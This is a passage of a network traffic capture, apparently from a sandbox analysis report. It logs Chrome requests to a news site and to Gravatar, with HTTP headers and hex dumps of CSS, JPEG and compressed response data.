2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 10 30 bc 56 7f 37 6b ab 92 bc ec 27 a6 cf f1 51 01 41 0a 88 ac 7a e9 e5 93 35 34 00 43 d8 b0 9a 68 e6 46 9b 83 42 e9 63 70 7f 09 80 74 b3 4d 2e 79 bb 12 11 3b 23 5e ff ea 9f 66 b2 01 61 ba 76 da 60 eb ac 4e 34 01 83 cb 66 38 ae 1e d1 24 ed 76 37 8d 44 ce b4 01 aa 66 f2 0a 92 9a 00 99 ac 1c 2a 60 b7 ba 98 9a 5e 1e 47 54 da 3d 27 a5 8e 34 65 04 14 64 05 3e 84 e6 64 25 d4 41 66 c5 8a 11 69 14 6f 82 20 00 24 c6 30 01 62 b5 52 e8 81 8e 1c 65 4a c2 bc eb dc 34 1d f8 bc a5 cc 32 a5 72 9b ab 88 85 89 e6 7b de 3a 76 7b dc b8 4c 7b 32 6c d0 e2 6f 55 34 71 c5 05 7f 30 63 ff ba f2 f2 51 fd 1e 7b 75 c6 41 03 81 9d f6 f7 d3 93 38 58 b8 2d d1 f2 86 16 c4 ca c8 60 a2 65 ea 8c 93 09 6a 70 b2 d6 14 a1 a5 43 fe d5 3f fe fe cd 1f 25 f0 7a 9c d0 6e 62 b6 38 03 2a 23 a7 89 8e Data Ascii: 0V7k'QAz54ChFBcptM.y;#^fav`N4f8$v7Df`^GT='4ed>d%Afio $0bReJ42r{:v{L{2loU4q0cQ{uA8X-`ejpC?%znb8#
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: ad 77 24 09 34 7a 1a 87 0d 0d 12 20 61 9d f9 ed ed 29 47 ac dc 59 93 84 80 e0 74 46 3b 99 71 e1 be fd ca b6 00 a9 a7 01 17 d3 0e 1b 4c 98 94 9a ce ad 9b 86 89 6c 33 52 92 4d 95 16 13 30 73 01 65 19 be 31 df 1a be 2c 44 53 01 cc a3 8b d6 25 d5 e5 e6 2e ed 82 72 0d 10 28 cd e3 9d 42 d3 99 a8 87 8e 58 b1 4c 14 56 bd 3f ee 8c c8 ca 6f b5 25 09 78 f3 58 a6 d0 ce 8e 12 74 12 00 54 04 a5 5f fb 80 01 40 44 30 45 89 2f f7 71 c7 c9 e7 e6 13 fd fc fa aa 32 20 72 53 cb 6b b8 64 93 a8 80 8e 73 9b 1f 7c a3 b6 f9 a2 5c b9 4f 12 a9 03 ba 44 4d f8 75 df 17 ee ba 08 b3 e4 3a a9 6e c4 e6 16 1c 52 55 f0 e7 7c 4a 63 0b 6c c2 90 28 94 74 5d 78 30 26 28 1c 1f f4 f1 11 d7 2a 48 c0 09 c3 f9 73 fe d8 fd 31 f7 36 2f 20 48 2d b7 32 b1 38 75 de e3 7a ac a8 74 36 7c 3f a4 c8 4b 5c 85 Data Ascii: w$4z a)GYtF;qLl3RM0se1,DS%.r(BXLV?o%xXtT_@D0E/q2 rSkds\|\ODMu:nRU\|Jcl(t]x0&(*Hs16/ H-28uzt6\|?K\
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: fe 48 c8 d9 ee 69 96 ae 02 cf 1f cd e7 93 f6 9d 56 0f a5 6b 4c 3e 09 63 93 e6 ab ce 5a f3 5e 50 c8 59 5c d0 21 a2 48 11 0a dd 85 3a 28 17 16 27 95 c2 72 9b a0 ee 5e 86 cb 97 50 68 f0 5d f8 46 f0 58 d9 a8 33 06 81 21 49 60 53 ad 4d 1b 37 a9 40 18 9e 68 b8 9a fa c5 17 ef 55 6b 82 1b e5 a8 d8 e5 58 bd 46 e9 41 d6 61 00 dd ef a1 d4 25 5d bd e6 62 52 00 d8 22 00 6a 46 80 3d 13 18 5b 44 2b 3c 83 61 a7 66 8f 77 35 3f 68 c3 cb 81 1c 96 31 68 8b 25 1d 9a 6d 7a c4 2a 56 3e b1 1a af f3 3e 97 d6 da 0e cf 43 5f 27 02 85 73 70 56 70 be b6 a4 8c cd 21 cd b0 5e c4 aa 3c 25 88 7e b4 bf e4 cf 73 cb 8f 61 1b 58 ca 69 29 ae ec a9 0e 78 fe f2 a3 7f d7 be 26 82 c7 29 09 1e e8 e1 9d fc 34 09 ca 6c f1 30 49 fe f8 31 2b 75 b4 90 6e ea f2 51 8a 72 c2 63 0a 06 a2 58 8c cd f6 0e 60 Data Ascii: HiVkL>cZ^PY\!H:('r^Ph]FX3!I`SM7@hUkXFAa%]bR"jF=[D+<afw5?h1h%mz*V>>C_'spVp!^<%~saXi)x&)4l0I1+unQrcX`
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 29 f1 2d 8b 0c e0 b9 96 21 c7 9f 02 ca b9 47 5a ae d8 1d da 18 9e d4 7d 8e fc 66 53 31 c8 3b 38 00 f3 c5 6e 2c a3 2a 9b d8 4b ab 24 82 01 e6 ab f3 0b 2b aa 52 88 6c 82 f7 c3 f7 b9 19 27 fc c9 9f 15 e5 23 98 07 00 84 90 6c 65 be 1d b7 bf 8b 08 65 9b 3a ef e6 ee 3c 9f 27 36 64 e7 c3 fd b4 ed 93 cf f3 89 cd e5 cc 64 73 18 98 82 ac d7 f2 7a f5 25 86 a6 26 3d f3 ac 4f 86 88 b6 d6 32 3b 9f 5a f7 f4 ba a4 aa 99 6a ac db a9 35 5b ac 44 e9 09 9c 29 08 3a 34 51 40 38 d7 b2 46 b5 12 20 74 30 79 b5 96 34 4b 30 12 64 eb ed 73 54 23 13 09 25 66 a5 c7 4f a6 b3 7e db a5 cf 2d 6f bb 78 c7 2f c6 21 64 d2 30 52 3e 28 f5 5d 9a db 95 c3 15 52 a0 28 9f 2e 92 0a 98 69 21 8e d3 08 5b c0 92 7b 3a e4 1a 63 a8 d9 70 0c 40 1a ad 98 5b 77 cb 65 50 03 18 43 20 aa 3e 9f a8 5b 28 b8 02 Data Ascii: )-!GZ}fS1;8n,*K$+Rl'#lee:<'6ddsz%&=O2;Zj5[D):4Q@8F t0y4K0dsT#%fO~-ox/!d0R>(]R(.i![{:cp@[wePC >[(
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 66 66 70 a9 9d 8c 95 81 0d ac ea ac 8a 3c d5 77 e7 d4 a1 ac 31 e1 4e db f4 26 b0 c6 9c bf cf e9 b0 8b 40 2a 5c d4 d3 37 bd d2 df 9d 32 68 9a c3 eb 2e 6a a6 ba a6 b5 70 77 9c 1b 00 e0 30 71 50 29 dd 51 29 9b a5 a2 5e 77 4e 6f 1d 01 c5 7c 01 30 68 ad ef df 2d 1c 19 61 a1 d1 3b 04 ba 6b 1a f8 be 14 ee 4a 62 08 86 a4 00 a5 b0 36 04 a3 69 90 a8 3e ab d9 95 b5 b8 19 2f 81 1a 84 a7 ec 90 25 5d 11 d6 17 7b e8 59 02 bf 12 c3 b3 ac eb 21 16 14 aa cf e9 03 5c b5 da 68 36 07 af 87 f3 f8 f7 d4 fa c3 2f 7d f7 0c bc fc 31 55 49 39 a5 9f fc 77 3f fd e7 18 0e 6d 29 97 e6 d2 28 2b 0a 1d 4f 6b d7 63 a3 f1 98 1f c3 8c 89 b3 36 6e f0 ef df fb 97 ff f7 9f 97 7f 4b 37 b5 51 85 73 c1 b4 2d 0d 99 85 97 d7 44 ef ed d1 27 79 d3 9c 4d 92 bc 44 5b 5e bc 7e f9 c2 4f 5f d1 4b 30 7d 71 Data Ascii: ffp<w1N&@*\72h.jpw0qP)Q)^wNo\|0h-a;kJb6i>/%]{Y!\h6/}1UI9w?m)(+Okc6nK7Qs-D'yMD[^~O_K0}q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49844	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	553	OUT	GET /js/hovercards/hovercards.min.css HTTP/1.1 Host: 0.gravatar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	423	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: text/css Content-Length: 3421 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2024 13:46:37 GMT ETag: "65f845bd-d5d" Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=31536000; includeSubdomains; preload Expires: Thu, 04 Apr 2024 08:51:08 GMT Cache-Control: max-age=604800 Accept-Ranges: bytes
2024-03-28 08:51:08 UTC	946	IN	Data Raw: 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 68 34 2c 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 70 7b 6d 61 72 67 69 6e 3a 30 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 61 2c 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 69 2c 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 70 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 20 50 72 6f 20 54 65 78 74 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c Data Ascii: .gravatar-hovercard{display:inline-block;z-index:10000000}.gravatar-hovercard h4,.gravatar-hovercard p{margin:0}.gravatar-hovercard a,.gravatar-hovercard i,.gravatar-hovercard p{color:#000;font-family:SF Pro Text,-apple-system,BlinkMacSystemFont,Segoe UI,
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6f 76 65 72 63 61 72 64 20 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 6e 61 6d 65 2d 6c 6f 63 61 74 69 6f 6e 2d 6c 69 6e 6b 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 6e 61 6d 65 7b 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 2d 63 6c 61 6d 70 3a 32 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 54 61 68 6f 6d 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 Data Ascii: overcard .gravatar-hovercard__name-location-link{text-decoration:none}.gravatar-hovercard .gravatar-hovercard__name{-webkit-line-clamp:2;color:#000;font-family:Helvetica,Arial,Tahoma,sans-serif;font-size:18px;font-weight:600;line-height:1.25}.gravatar-hov
2024-03-28 08:51:08 UTC	1106	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 31 64 34 66 63 34 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 70 72 6f 66 69 6c 65 2d 6c 69 6e 6b 2d 2d 65 64 69 74 20 70 61 74 68 7b 73 74 72 6f 6b 65 3a 23 31 64 34 66 63 34 7d 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 2d 2d 73 6b 65 6c 65 74 6f 6e 20 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 61 76 61 74 61 72 2d 6c 69 6e 6b 2c 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 2d 2d 73 6b 65 6c 65 74 6f 6e 20 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 6e 61 6d 65 2d 6c 6f 63 61 74 69 6f 6e 2d 6c 69 6e 6b 2c 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 2d 2d 73 6b 65 6c 65 74 Data Ascii: {color:#1d4fc4}.gravatar-hovercard .gravatar-hovercard__profile-link--edit path{stroke:#1d4fc4}.gravatar-hovercard--skeleton .gravatar-hovercard__avatar-link,.gravatar-hovercard--skeleton .gravatar-hovercard__name-location-link,.gravatar-hovercard--skelet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49843	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	775	OUT	GET /wp-content/uploads/2023/05/300x250_bsm.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:08 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 32561 Connection: close last-modified: Mon, 29 May 2023 12:48:01 GMT etag: "64749f01-7f31" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4rjwLQWXQQ8F1WuEpaZIraNihsAv1HkiBHcugJmgFjY%2BXgvehXXkruQT7in18NZXHktWH07wKozUpcy4wVDf17bHIgwUDqpyXBkSOqiuEDTA3kcvqX6BBxXzoeo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6606858673b32-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:08 UTC	685	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 64 00 64 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff ee 00 26 41 64 6f 62 65 00 64 c0 00 00 00 01 03 00 15 04 03 06 0a 0d 00 00 16 47 00 00 44 0e 00 00 60 0e 00 00 7f 2f ff db 00 84 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 01 01 01 01 01 01 01 02 01 01 02 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 00 fa 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 01 23 00 01 00 02 03 00 03 01 01 00 00 00 00 00 00 00 00 00 07 Data Ascii: JFIFddDuckyd&AdobedGD`/,#
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 4b b3 76 66 ce 72 dd 2b 10 c8 2b a7 41 b6 b7 56 c6 a6 6d 6b f4 db 4a 73 52 f1 e0 00 00 00 00 00 00 00 00 a8 6d 93 d3 8e 2e b4 a9 01 63 74 86 cb 59 1d 13 b3 74 35 d7 a7 1c d1 c6 02 2e 67 ef 6a 3b 56 2a f1 ac 4f ce 5d c4 d2 70 fc 84 59 7f e8 76 a2 4b 96 9e 0c 00 00 00 00 00 00 00 00 71 9d 9f 49 d4 0e cb 69 a8 16 51 45 ec ee 0a 8b 96 ab 6f 9d 78 02 e9 3e f6 b3 13 a4 3b f3 cd da fd 6c 81 66 ff 00 a2 da 7d 2a 59 78 60 00 00 00 00 00 00 00 0c 47 a3 c7 41 3b 8b f9 ed a1 4c 63 c0 5b 56 b5 ee 0f 15 55 78 04 39 c6 2f 13 f1 8d e1 de 5b a7 ad 3f 42 39 5b f3 bf 7d bf 38 0f de 56 dd fa 8f a3 99 c9 98 e0 00 00 00 00 00 00 00 15 ff 00 72 6b c5 5a ec 0e a8 00 3b 87 4d b6 67 cd 01 eb b0 df ab be 50 e7 20 88 38 c6 31 75 15 cb c8 5a 91 b0 b1 55 67 9a 0d f3 35 c6 ad 3f f4 b3 Data Ascii: Kvfr++AVmkJsRm.ctYt5.gj;VO]pYvKqIiQEox>;lf}Yx`GA;Lc[VUx9/[?B9[}8VrkZ;MgP 81uZUg5?
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f ff da 00 08 01 01 00 01 05 02 fd 4f f9 b8 6f 75 d7 39 c6 30 34 ec 19 a4 75 5a d0 da 47 3c 13 33 dc 94 50 c0 8d 7e db 32 76 17 b9 a8 6d 04 d8 eb 1c 9e 9e 8b ad 45 df 36 8c ed d5 f6 1f 78 67 b5 dd 91 cb 5d 43 93 b3 a1 57 c2 9d b2 ca 58 1f 04 e2 63 4b 8e 31 12 20 77 1b 6b 60 aa c2 77 4f af 8e ab d6 20 86 04 63 66 6c 02 6f 13 1d 3e bd 2d 4a a4 c8 1e 34 58 73 f3 85 4f c8 74 a2 2f 2e 55 3b 7d c5 75 f8 08 8e bf 5f 07 ff 00 b7 7d 5e b2 9f 07 d7 e6 32 d5 1b 62 58 fe 48 fe b4 96 bd 1a b7 6c 79 c3 46 05 67 9f 2a cf 39 d7 4b 04 48 74 59 9d 39 b3 8c 38 bd 6b 7d 0b 05 c7 9e 02 Data Ascii: Oou904uZG<3P~2vmE6xg]CWXcK1 wk`wO cflo>-J4XsOt/.U;}u_}^2bXHlyFg*9KHtY98k}
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 0a 66 af a9 9d 4e 86 d5 15 38 1a f7 ff 00 36 eb 2e 09 a9 a8 c3 55 71 f5 af 59 e0 8a fd 6a 0a ab 1f 70 d3 34 3b a9 d4 fd 45 46 a3 95 5b d3 14 aa a4 a5 57 4c d1 a9 d3 57 5d 5b 53 bf 95 17 1c 3c 44 64 86 9d a5 ca 5a ce d3 d4 99 2b 64 96 a3 a7 cb 5b ed b4 8a cd e0 28 bf ae ba ce 34 a9 ba d4 54 f5 7d 3f 5b f5 8a 55 56 a4 d5 a9 63 56 74 e5 2e a7 3d 6a d2 f4 9b 94 d5 4f 4c 51 a9 93 30 3a 72 97 5d b2 dc 69 90 b7 a8 aa cd 2a 12 a3 01 52 d3 54 7a 5c c5 d3 54 d4 6f c7 47 02 c4 5c 7f eb 3f ff da 00 08 01 02 00 01 05 02 fd 4f f6 a5 7a 7f f0 14 a4 a1 2c 1a 19 59 ee 5b 6d 6e ae 1e b8 c0 49 e5 94 04 04 7f 8a 6a 68 38 30 e6 ac 32 53 8f 04 61 11 e5 00 5a 0f 0b b8 ae 43 7b 26 ba 5c d3 8f 2f 83 1c 38 d1 e3 84 9b 99 26 70 ee 94 a5 e5 ca c7 6f 59 8a f7 84 f5 b9 af 99 f0 63 97 Data Ascii: fN86.UqYjp4;EF[WLW][S<DdZ+d[(4T}?[UVcVt.=jOLQ0:r]i*RTz\ToG\?Oz,Y[mnIjh802SaZC{&\/8&poYc
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 73 73 32 6d d4 6c 2e 71 ba 2c ea f8 de bd 90 cf 04 d7 c8 69 e5 d3 82 7d f6 2b 10 8c 71 08 43 69 ea 00 26 1c fa 31 9c 27 97 32 fc ac 77 bf 9f c7 1c 93 8e 67 8f 5a 61 19 e5 62 23 fb 24 78 b5 38 a6 38 d3 4d 32 8e 93 c6 fb e9 4e db f6 e3 d2 b1 83 f1 eb 7d 7d 9e 3d b0 22 d3 cc df ca 21 d9 bb 3c 98 a6 bb 60 99 7b 8e 3e fb dd 23 c3 59 e6 c0 82 88 d8 7e b3 c7 fc 7c 6f 6f 67 35 65 cd f5 a3 45 7a e5 94 fe 49 27 ae bb 85 f5 48 f0 5a 24 7d e9 fd b6 73 8c 61 e7 32 f3 dd 04 15 e3 49 50 8d 42 d7 ba c5 47 39 28 6d 48 56 d1 29 d6 c1 29 f1 80 f6 e4 f9 bd b7 5a 5d 7f d8 b3 60 ff 00 c2 f4 4a 72 ac d7 21 b1 14 25 43 f1 f2 dd 1f 7d a1 99 95 91 72 50 ce df 38 fc e0 d1 56 11 7c a9 d5 14 f2 f9 20 3e 4a 07 38 ce 33 8c 67 39 ac d6 fd a7 4a e9 18 1a 5f 8e 38 db 2d d8 27 73 26 e7 73 Data Ascii: ss2ml.q,i}+qCi&1'2wgZab#$x88M2N}}="!<`{>#Y~\|oog5eEzI'HZ$}sa2IPBG9(mHV))Z]`Jr!%C}rP8V\| >J83g9J_8-'s&s
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 20 75 ce 3e 2a da 4e d3 d5 d7 05 dc 56 20 d8 48 99 92 65 d6 60 dd ce c4 e8 9d 72 de e2 71 3e 4b c2 07 e1 4f 74 73 09 ef 1b 65 62 78 64 77 d7 f8 53 93 f3 19 0e 10 cd 02 d9 44 f4 f7 a9 eb de 0c 0b 7f 31 da ff 00 0f b4 f4 1d ee 23 19 e6 6d 95 11 ae 54 73 ef 7d 53 a2 58 ac 4f 78 e8 4f 90 7f 97 2e 8e 0f 21 5c 25 b1 52 40 1b 37 55 88 78 c9 b4 89 c2 f1 4e 56 a3 b0 64 1b d7 c0 ad 65 09 fe f1 d4 0e f0 5e 8f a1 67 bc e6 9c c8 fc df a6 7c 21 16 bc 36 87 4e f3 d0 e1 cf d3 a0 d2 73 ab b0 74 f2 6f a8 aa fd 13 fe ee bd d4 61 30 c9 b4 fb 8a 90 1c 79 f3 08 4e 09 ba 5c ad 6a f7 95 94 ea c8 34 70 89 88 46 21 3e 15 a4 1d c3 81 c0 9f 8a 7c 4a 19 34 0d 3d 1a ea df 62 10 dd 2e 20 05 8f c8 66 7f b6 7b 89 61 84 95 bc a3 20 05 66 3d 56 2e 47 f7 35 8a 7e e0 f7 46 9f 78 f2 0a 2b e1 Data Ascii: u>*NV He`rq>KOtsebxdwSD1#mTs}SXOxO.!\%R@7UxNVde^g\|!6Nstoa0yN\j4pF!>\|J4=b. f{a f=V.G5~Fx+
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: e5 d2 2c 68 10 50 cc ac 93 3a a0 b8 af 11 33 fe 74 7f ff da 00 08 01 03 02 06 3f 02 fe 67 dc 5f 35 7f ee da 13 d9 39 ef 6e 9a 75 b5 39 98 28 13 b3 79 65 34 aa 26 fb 6b 40 39 c1 1d 3c 28 bc f1 09 69 22 64 9c 90 ac 36 00 96 b0 1a 28 52 f5 e6 1f 77 6e e5 9c 41 b5 88 65 56 49 ca 45 69 27 a3 93 70 e2 71 26 4d 0e 32 1a 60 a2 77 78 3c 88 1f e5 9f a2 02 d0 48 58 cb 0d e2 57 f3 65 25 6b 14 73 d7 cb b9 70 c5 59 4e 44 8e 35 0c b1 65 84 fc 5c aa 3e 23 ec d1 0a c3 be 26 d2 84 2f 0c aa d0 a2 36 70 9f fa fc 21 fa 06 cd 27 df 56 7f c2 32 67 af 34 b7 31 68 c9 26 cf eb 82 e3 86 48 02 64 c7 76 63 06 8f 08 ff 00 23 a4 f3 0a 37 57 ff 00 3a bf 4a 21 38 66 04 dd 51 81 87 6a bf 31 ce 73 f6 6e be 06 74 f3 a1 27 84 7a 1c 39 fa c7 c7 f4 a3 29 d6 6a 1c b9 b7 98 b7 7f e3 1f ae 7d 51 Data Ascii: ,hP:3t?g_59nu9(ye4&k@9<(i"d6(RwnAeVIEi'pq&M2`wx<HXWe%kspYND5e\>#&/6p!'V2g41h&Hdvc#7W:J!8fQj1snt'z9)j}Q
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: da 49 10 ab 6d f7 88 95 31 eb 31 42 4d 4e 7a f4 0d 1c 04 b8 e1 92 04 7c d4 c5 b6 88 52 34 47 cd 4c 7c 15 a5 5a a2 ed d5 84 ae 03 6d 38 0a cc 5a 79 41 23 4c 59 4b a9 9e ce 98 b4 b2 02 44 59 bd 4c e0 17 56 00 55 5a 60 2d 14 a0 c5 c9 71 37 b3 94 b4 ee 5a 57 84 45 db 4e 24 ac c5 87 96 12 b8 0b 45 28 31 61 c7 13 6b 6f 44 5b 65 41 49 8b b7 5c 48 58 8b 0d 38 92 b8 17 ea 09 9c 7a 82 a1 73 9e 26 c2 82 80 80 5f 50 4c e0 3a a5 80 da aa 39 e3 e6 a6 26 c2 82 80 85 61 2f 50 d3 41 56 6b a4 ec a7 92 81 01 2a 33 50 15 e7 df d8 f7 d4 3b 7a a2 d9 52 bd 6c ea c9 2d 9d 70 eb ee 51 39 91 b3 ae 16 71 8b 29 00 51 2c a7 61 80 a4 f8 42 4c f8 eb 85 17 8c 99 b7 22 74 0a 34 e6 8f 55 83 5a d7 2a 29 ff 00 48 82 e6 26 77 76 b9 42 67 50 80 bc 3a c9 97 90 c7 a3 6b e5 a5 56 40 ce aa a1 36 Data Ascii: Im11BMNz\|R4GL\|Zm8ZyA#LYKDYLVUZ`-q7ZWEN$E(1akoD[eAI\HX8zs&_PL:9&a/PAVk3P;zRl-pQ9q)Q,aBL"t4UZ)H&wvBgP:kV@6
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 44 60 e8 37 6e 5b 34 a3 13 20 9d 19 4f 19 3a ad ce 89 8e 62 db 45 12 b0 fb 37 cf 8c 47 d4 ee 9b 53 1c a6 71 15 c0 b9 fe 1f 98 b1 b1 ec fc 41 c0 f6 4e 35 da 49 42 ac e7 d8 13 cf 6c ed 6d 3c 76 b1 3c b7 72 73 3e cd 9e d2 8f a9 65 93 e1 6b b8 2f bc 7e e1 a7 8d ad ed fd aa f3 c7 ca 6a b3 5a 58 e3 9e ac 8c fb b6 2e c7 ba 73 f6 8d 6d 64 23 ed dd f6 7d 4c 38 69 a6 a8 63 7c ff 00 af b0 e7 eb cf db d4 fd 1e d6 42 eb 21 35 69 21 b6 6c 32 7f 0a 94 32 65 cb cc b4 8e 51 e3 33 c5 fc cd b9 9d d6 dd 3d 15 6b ac 56 aa 1e e5 6a c1 e5 a2 95 11 af b4 b5 9f 19 fa 99 0b d5 54 a6 de c8 5f be ea 40 e2 95 29 b3 5a ba aa d6 53 9b 10 44 29 f5 6a 3d 66 22 74 89 f0 e2 e6 46 c5 2a 99 4b 77 6c ba cd 87 23 2b 44 65 ad 73 24 8c e3 d6 36 a6 83 3a f2 8e 5a 47 f2 71 ab bb 57 30 5a 7f 75 ad Data Ascii: D`7n[4 O:bE7GSqAN5IBlm<v<rs>ek/~jZX.smd#}L8ic\|B!5i!l22eQ3=kVjT_@)ZSD)j=f"tF*Kwl#+Des$6:ZGqW0Zu
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 78 aa 0b ea db bc f0 42 43 cb 71 78 99 cf e1 5a c7 52 29 f2 18 d7 8c c5 1a 3e 18 ce db ca fe 6e 9a 15 8b cc a6 f9 3b 27 cf c5 d6 cf 5f 1f 76 39 47 84 7d 4a 38 5a db 85 6d 2e ad eb 23 1a fa 4a 0a d2 6c d8 9e 52 30 5b 7d d0 d7 94 b0 86 3c f8 6e 3a 8a c6 bd 54 a7 1f 8e aa a1 d7 45 a1 6e 44 40 73 d6 4b f2 55 3e 3c e7 c7 ea 07 58 35 c7 d2 db 62 ec fe 13 e7 f9 55 be fb 05 1c ff 00 72 27 f4 8b fd 2e 6d f4 56 ba 71 cb 9b 3a 07 b3 c7 48 f8 be a7 f9 97 2a 9d b9 4c 8a 74 a2 86 47 bd 47 1e cd 0b 79 0c fc 16 6e f8 cf 98 af 48 f3 28 e3 ba bf fd 59 ff 00 f1 17 f4 ad 29 02 6b 5a 62 b5 2d 63 24 6c 61 94 08 00 0c 73 22 22 9d 22 38 df 70 07 e7 d9 58 5b f2 67 c8 a6 b0 47 34 63 96 71 cb 6d 78 2d 4f 4e 44 c9 9f 18 81 e3 dd f0 f9 85 5d ff 00 cd da ef 1f e9 e9 f4 a2 9d 55 cb 6c Data Ascii: 